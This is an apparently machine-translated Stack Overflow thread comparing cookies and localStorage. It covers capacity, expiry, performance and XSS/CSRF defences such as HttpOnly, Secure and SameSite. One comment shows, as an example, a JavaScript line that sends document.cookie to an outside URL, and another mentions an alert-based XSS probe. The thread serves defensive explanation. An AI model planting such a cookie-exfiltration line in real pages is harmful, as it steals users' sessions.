【问题标题】:Local Storage vs Cookies本地存储与 Cookie
【发布时间】:2011-03-14 08:02:54
【问题描述】:

我想通过将所有 cookie 移动到本地存储来减少我网站的加载时间,因为它们似乎具有相同的功能。除了明显的兼容性问题外,使用本地存储替换 cookie 功能是否有任何优点/缺点(尤其是性能方面)?

【问题讨论】:

  • 可能的缺点:安全 (SSL) 页面上的 localStorge 值是隔离的。因此,如果您的站点同时具有 http 和 https 页面,您将无法在访问 https 页面时访问在 http 页面上设置的值。刚刚在 Magento 商店尝试了 localStorage 的 ajax 迷你购物车。史诗般的失败......
  • 令人惊讶的良好支持(与我的预期相比)caniuse.com/#search=localstorage
  • 一些用户的浏览器也通常禁用 cookie。本地存储可能更适合这些用户。
  • 可能的缺点:安全 (SSL) 页面上的 [localStorage] 值是孤立的”实际上这是很大的优点。
  • 这就是为什么您应该在您的网站上强制使用 SSL...如果您已经有可用的 SSL 版本,我认为没有理由提供页面的两个版本。

标签: html cookies browser local-storage httprequest


【解决方案1】:

Cookie 和本地存储有不同的用途。 Cookie 主要用于读取服务器端,本地存储只能由客户端读取。所以问题是,在您的应用中,谁需要这些数据——客户端还是服务器?

如果它是您的客户端(您的 JavaScript),那么一定要切换。发送每个 HTTP 标头中的所有数据是在浪费带宽。

如果是您的服务器,本地存储就不是很有用,因为您必须以某种方式转发数据(使用 Ajax 或隐藏的表单字段或其他东西)。如果服务器只需要每个请求的总数据的一小部分,这可能没问题。

无论如何,您都希望将会话 cookie 保留为 cookie。

根据技术差异,以及我的理解:

  1. 除了作为一种旧的数据保存方式外,Cookie 还为您提供 4096 字节的限制(实际上是 4095)——它是每个 cookie。本地存储容量高达 每个域 5MBSO Question 也提到了这一点。

  2. localStorageStorage 接口的实现。它存储的数据没有过期日期,并且通过 JavaScript 或清除浏览器缓存/本地存储的数据来清除 - 与 cookie 过期不同。

【讨论】:

  • HTML5 具有会话范围的存储,也可以用作会话 cookie 的替代品。
  • @PatNiemeyer,您可以假设 sessionStorage 是一个 Cookie,在关闭浏览器(而不是标签页)之前到期。 @darkporter,感谢您的回答。但是,想听听 Cookie 和本地存储之间的技术区别。等待您的修改。
  • @OmShankar 我不确定您是否还有这个疑问,但这里有区别:localStorage 停留 在客户端,而 cookies 与HTTP 标头。这是它们之间最大(但不是唯一)的区别。
  • 如果您的客户端应用程序与 REST API 对话,那么在 REST 中使用 cookie 存储和传输会话 ID 是不习惯的。所以,对我来说,cookie 看起来像是一种旧技术,可能应该被本地存储取代(如果你需要将一些数据(如会话 ID)传递给服务器,则 + JavaScript)。
  • 本地存储不一定比 cookie 更安全,因为它容易受到 XSS 攻击。就个人而言,我会选择一个加密的 HTTPS cookie(可能使用 JWT 或 JWE),并带有一个精心策划的过期方案。即同时实施 cookie 级过期“策略”和服务器端 cookie“更新”过程,以减少恶意第三方使用 cookie 的机会。我在下面引用了 Stormpath 关于此事的文章的部分内容写了一个答案。
【解决方案2】:

在 JWT 的上下文中,Stormpath 写了一篇很有帮助的文章,概述了存储它们的可能方法,以及与每种方法相关的(缺点)优点。

它还简要概述了 XSS 和 CSRF 攻击,以及如何对抗它们。

我附上了下面文章的一些简短的sn-ps,以防他们的文章被下线/他们的网站出现故障。

本地存储

问题:

Web 存储 (localStorage/sessionStorage) 可通过同一域上的 JavaScript 访问。这意味着在您的站点上运行的任何 JavaScript 都可以访问 Web 存储,因此很容易受到跨站点脚本 (XSS) 攻击。简而言之,XSS 是一种漏洞,攻击者可以在其中注入将在您的页面上运行的 JavaScript。基本的 XSS 攻击尝试通过表单输入注入 JavaScript,攻击者会在其中发出警报('You are Hacked');放入一个表单中,看看它是否由浏览器运行,是否可以被其他用户查看。

预防:

为了防止 XSS,常见的反应是对所有不受信任的数据进行转义和编码。但这远非故事的全部。 2015 年,现代 Web 应用程序使用托管在 CDN 或外部基础设施上的 JavaScript。现代网络应用程序包括用于 A/B 测试、漏斗/市场分析和广告的第三方 JavaScript 库。我们使用 Bower 等包管理器将其他人的代码导入我们的应用程序。

如果您使用的只有一个脚本遭到入侵怎么办?恶意的 页面可以嵌入 JavaScript,Web Storage 是 妥协。这些类型的 XSS 攻击可以获取每个人的 Web Storage 在他们不知情的情况下访问您的网站。这大概就是为什么一个 一堆组织建议不要存储任何有价值或信任的东西 网络存储中的任何信息。这包括会话标识符和 令牌。

作为一种存储机制,Web Storage 不强制执行任何安全 传输过程中的标准。阅读和使用 Web Storage 的人必须 尽职调查以确保他们始终通过 HTTPS 发送 JWT 并且从不使用 HTTP。

Cookies

问题:

Cookie 与 HttpOnly cookie 标志一起使用时,无法通过 JavaScript 访问,并且不受 XSS 影响。您还可以设置 Secure cookie 标志以保证 cookie 仅通过 HTTPS 发送。这是过去利用 cookie 存储令牌或会话数据的主要原因之一。现代开发人员对使用 cookie 犹豫不决,因为他们传统上要求将状态存储在服务器上,从而破坏了 RESTful 最佳实践。如果您在 cookie 中存储 JWT,则作为存储机制的 cookie 不需要将状态存储在服务器上。这是因为 JWT 封装了服务器为请求提供服务所需的所有内容。

但是,cookie 容易受到不同类型的攻击: 跨站点请求伪造(CSRF)。 CSRF 攻击是一种攻击 当恶意网站、电子邮件或博客导致用户 Web 浏览器在受信任的站点上执行不需要的操作 用户当前已通过身份验证。这是一个利用 浏览器处理 cookie。 cookie 只能发送到 这是允许的。默认情况下,这是最初的域 设置cookie。 cookie 将被发送请求而不管 无论您是在 galaxies.com 还是 haha​​gonnahackyou.com。

预防:

除了HttpOnlySecure 之外,现代浏览器还支持SameSite flag。该标志的作用是防止cookie在跨站请求中传输,防止多种CSRF攻击。

对于不支持SameSite的浏览器,可以通过使用同步令牌模式来防止CSRF。这 听起来很复杂,但所有现代 Web 框架都支持 这个。

例如,AngularJS 有一个解决方案来验证 cookie 是 只能由您的域访问。直接来自 AngularJS 文档:

在执行 XHR 请求时,$http 服务从 cookie(默认为 XSRF-TOKEN)并将其设置为 HTTP 标头 (X-XSRF-令牌)。因为只有在您的域上运行的 JavaScript 才能 读取 cookie,您的服务器可以确定 XHR 来自 在您的域上运行的 JavaScript。你可以做这个 CSRF 保护 通过包含xsrfToken JWT 声明来实现无状态:

{
  "iss": "http://galaxies.com",
  "exp": 1300819380,
  "scopes": ["explorer", "solar-harvester", "seller"],
  "sub": "tom@andromeda.com",
  "xsrfToken": "d9b9714c-7ac0-42e0-8696-2dae95dbc33e"
}

利用您的 Web 应用程序框架的 CSRF 保护使 cookie 变得强大 用于存储 JWT 的实体。 CSRF 也可以通过以下方式部分预防 检查您的 API 中的 HTTP Referer 和 Origin 标头。 CSRF 攻击将具有与不相关的 Referer 和 Origin 标头 你的申请。

完整的文章可以在这里找到: https://stormpath.com/blog/where-to-store-your-jwts-cookies-vs-html5-web-storage/

关于令牌本身的结构,他们还有一篇关于如何最好地设计和实施 JWT 的有用文章: https://stormpath.com/blog/jwt-the-right-way/

【讨论】:

  • 好点。令人惊讶的是,在这样一个广为人知的问题上,之前没有提到本地存储的安全隐患(或缺乏 XSS)——除了一个答案,恕我直言,它更安全!
  • 老实说,我发现整个安全谈话有点让人分心。是的,页面上的其他脚本可以访问localStorage...但XMLHttpRequest 也是如此...是的,HttpOnly 标志可以防止窃取 cookie,但浏览器仍会自动将其发送到匹配的域,所以...基本上,当您在页面上运行恶意脚本时,您就已经被黑客入侵了。
  • @StijndeWitt 每一层保护都有其自身的力量和弱点。所以通常最好有多个保护层。举个例子:HttpOnly 还可以防止像window.location = 'http://google.com?q=' + escape(document.cookie); 这样的非ajax 攻击。此攻击绕过浏览器 CORS 检查。
  • 如果网站存在 XSS 漏洞,使用 cookie 作为存储将无法防止 CSRF 攻击。根据 OWASP 的说法,“任何跨站点脚本漏洞都可以用来破坏当今市场上所有可用的 CSRF 缓解技术”链接:github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/…
  • @JosephKreifelsII 不是。但是当你这样做时,你知道你正在这样做。 XSS 是在用户不知情和/或同意和/或理解的情况下自动执行此操作的过程。欺骗某人在控制台中输入内容称为 Self-XSS。
【解决方案3】:

使用localStorage,Web 应用程序可以在用户浏览器中本地存储数据。在 HTML5 之前,应用程序数据必须存储在 cookie 中,包含在每个服务器请求中。大量数据可以本地存储,不影响网站性能。尽管localStorage 更现代,但这两种技术各有利弊。

Cookies

优点

  • 旧版支持(一直存在)
  • 持久数据
  • 有效期
  • Cookie 可以标记为 HTTPOnly,这可能会在用户浏览器的会话期间限制 XSS 攻击(不保证完全免疫 XSS 攻击)。

缺点

  • 每个域都将其所有 cookie 存储在一个字符串中,这可以使 解析数据困难
  • 数据未加密,这成为一个问题,因为... ...虽然 体积小,每个 HTTP 请求都会发送 cookie 大小有限 (4KB)

本地存储

优点

  • 大多数现代浏览器都支持
  • 直接存储在浏览器中的持久数据
  • 同源规则适用于本地存储数据
  • 并非随每个 HTTP 请求一起发送
  • 每个域约 5MB 存储空间(即 5120KB)

缺点

  • 以前不支持:IE 8、Firefox 3.5、Safari 4、Chrome 4、Opera 10.5、iOS 2.0、Android 2.0
  • 如果服务器需要存储您故意拥有的客户端信息 发送。

localStorage 用法与会话一几乎相同。他们有非常精确的方法,所以从会话切换到localStorage 真的很容易。但是,如果存储的数据对您的应用程序非常重要,您可能会使用 cookie 作为备份,以防localStorage 不可用。如果你想检查浏览器对localStorage 的支持,你所要做的就是运行这个简单的脚本:

/* 
* function body that test if storage is available
* returns true if localStorage is available and false if it's not
*/
function lsTest(){
    var test = 'test';
    try {
        localStorage.setItem(test, test);
        localStorage.removeItem(test);
        return true;
    } catch(e) {
        return false;
    }
}

/* 
* execute Test and run our custom script 
*/
if(lsTest()) {
    // window.sessionStorage.setItem(name, 1); // session and storage methods are very similar
    window.localStorage.setItem(name, 1);
    console.log('localStorage where used'); // log
} else {
    document.cookie="name=1; expires=Mon, 28 Mar 2016 12:00:00 UTC";
    console.log('Cookie where used'); // log
}

“安全 (SSL) 页面上的 localStorage 值是隔离的” 正如有人注意到的那样,请记住 localStorage 不会 如果您从“http”切换到“https”安全协议,则可用,其中 cookie 仍然可以访问。这对 请注意您是否使用安全协议。

【讨论】:

  • 你做的检查不是很可靠。有些浏览器和模式(私有)具有存储对象,但无法在其上设置值。检查实际支持的唯一方法是尝试在其上捕获 set remove。
  • 既然'SQL injection can be executed'被列为cookie的对立面,你是说不能从localStorage执行?
  • 另一个 Cookie 专家。 Cookie 可以标记为 HTTPOnly。这意味着无法从 JavaScript 访问它们,这反过来意味着没有恶意 XSS 攻击可以检索 cookie 内容。因此,我不一定会说本地存储比 cookie 更安全。
  • @Mr.Me 虽然 XSS 攻击无法读取 HTTPOnly cookie,攻击者仍然可以执行用户可以执行的任何 HTTP 请求(根据定义)仅受浏览器会话限制.假设会话 cookie 是一个不透明的标识符,就像几乎所有会话 cookie 一样,读取 cookie 值仅对执行包含它的 HTTP 请求有用:您不会仅通过 cookie 值了解任何内容。 (注意,会话 cookie 有时可以链接到特定的源 IP 地址、用户代理标头或其他浏览器特征;XSS 攻击执行来自浏览器的 HTTP 请求,因此它们是匹配的。)
  • HTTPOnly 标志仍然对攻击施加了限制:攻击只能在浏览器会话期间发生:当用户关闭浏览器时,它就结束了。可以执行涉及读取非 HTTPOnly cookie 的攻击,直到会话 cookie 标识符过期(由服务器确定),有时可能持续数月,因此 HTTPOnly 仍然限制攻击。所以 HTTPOnly 是一个有用的安全功能,但是假设 HTTPOnly 使 XSS 成为一个小问题是非常危险的
【解决方案4】:

Cookies

  1. 在 HTML5 之前引入。
  2. 有过期日期。
  3. 通过 JS 或通过清除浏览器的浏览数据或过期日期后清除。
  4. 将根据每个请求发送到服务器。
  5. 容量为 4KB。
  6. 只有字符串可以存储在 cookie 中。
  7. 有两种类型的 cookie:持久性和会话。

本地存储:

  1. 随 HTML5 引入。
  2. 没有到期日期。
  3. 由 JS 清除或通过清除浏览器的浏览数据。
  4. 您可以选择何时必须将数据发送到服务器。
  5. 容量为 5MB。
  6. 数据无限期存储,必须是字符串。
  7. 只有一种类型。

【讨论】:

  • 6. localStorage 只能存储字符串,原语和对象必须先转换成字符串才能存储, 7. sessionStorage 也是可用的,和localStorage 一样,只是不持久化
【解决方案5】:

另外值得一提的是localStorage在部分版本的移动版Safari中用户以“私密”模式浏览时无法使用。

引用自 2018 年 MDN topic on Window.localStorage 的 WayBack 档案:

注意:从 iOS 5.1 开始,Safari Mobile 将 localStorage 数据存储在缓存文件夹中,该文件夹会根据操作系统的要求偶尔进行清理,通常是在空间不足的情况下。 Safari Mobile 的隐私浏览模式也完全阻止了对localStorage 的写入。

【讨论】:

    【解决方案6】:

    嗯,本地存储速度很大程度上取决于客户端使用的浏览器以及操作系统。 Mac 上的 Chrome 或 Safari 可能比 PC 上的 Firefox 快得多,尤其是使用更新的 API。不过,与往常一样,测试是您的朋友(我找不到任何基准)。

    我真的没有看到 cookie 与本地存储之间的巨大差异。此外,您应该更担心兼容性问题:并非所有浏览器都开始支持新的 HTML5 API,因此 cookie 将是您提高速度和兼容性的最佳选择。

    【讨论】:

    • 这只是一个内部项目,因此跨浏览器兼容性之类的东西并不是真正需要的。因为 cookie 是随每个 HTTPRequest 发送的(我的应用程序有大约 77 个请求),这意味着大约 500kB 的额外开销。我知道显而易见的解决方案是 CDN,但我想尝试一些不依赖于服务器的东西。我自己找不到任何基准,这就是为什么我希望这里有人知道。
    • 为什么 Chrome 或 Safari 在 Mac 上会更快?无论您是在 Mac、Linux 还是 Windows 上,运行的浏览器代码几乎都是一样的。
    【解决方案7】:

    本地存储最多可以存储 5mb 的离线数据,而会话也可以存储最多 5mb 的数据。但是cookies只能以文本格式存储4kb的数据。

    LOCAL和Session以JSON格式存储数据,便于解析。但是cookies数据是字符串格式的。

    【讨论】:

      【解决方案8】:

      主要区别:

      容量:

      • 本地存储: 10MB
      • Cookie: 4kb

      浏览器支持:

      • 本地存储: HTML5
      • Cookie: HTML4、HTML5

      存放地点:

      • 本地存储:仅限浏览器
      • Cookie:浏览器和服务器

      随请求发送:

      • 本地存储:
      • Cookie:

      访问自:

      • 本地存储:任何窗口
      • Cookie: 任何窗口。

      有效期:

      • 本地存储:永不过期,直到通过 javascript 完成。
      • Cookie:是的,有有效期。

      注意:使用那个,什么适合你。

      【讨论】:

        【解决方案9】:

        Cookie:

        • 可由 JavaScript 访问,因此 Cookie 的数据 可被 XSS 窃取 攻击(跨站点脚本攻击),但设置 HttpOnly 标志 Cookie 阻止了 JavaScript 的访问,所以 Cookie 的数据 是 免受XSS 攻击

        • 容易受到 CSRF(Cross Site Request Forgery) 的影响,但设置 SameSite flag with Lax to Cookie 缓解 CSRF 并将 SameSite flag with Strict 设置为 Cookie 防止 CSRF

        • 大约是 4KB 作为常见大小(取决于浏览器)。

        本地存储:

        • 可由 JavaScript 访问,因此 Local Storage 的数据 可被 XSS 窃取 攻击(跨站点脚本攻击) 然后,根据我的研究, XSS 中的 Local Storage 没有简单的预防措施 攻击

        • 不易受到CSRF(跨站请求伪造)的攻击。

        • 大约是 5MB 作为常见大小(取决于浏览器)。

        我强烈建议对敏感数据使用 Cookie,对非敏感数据使用 Local Storage

        【讨论】:

          猜你喜欢
          • 1970-01-01
          • 2020-01-10
          • 2020-12-26
          • 1970-01-01
          • 2019-10-24
          相关资源
          最近更新 更多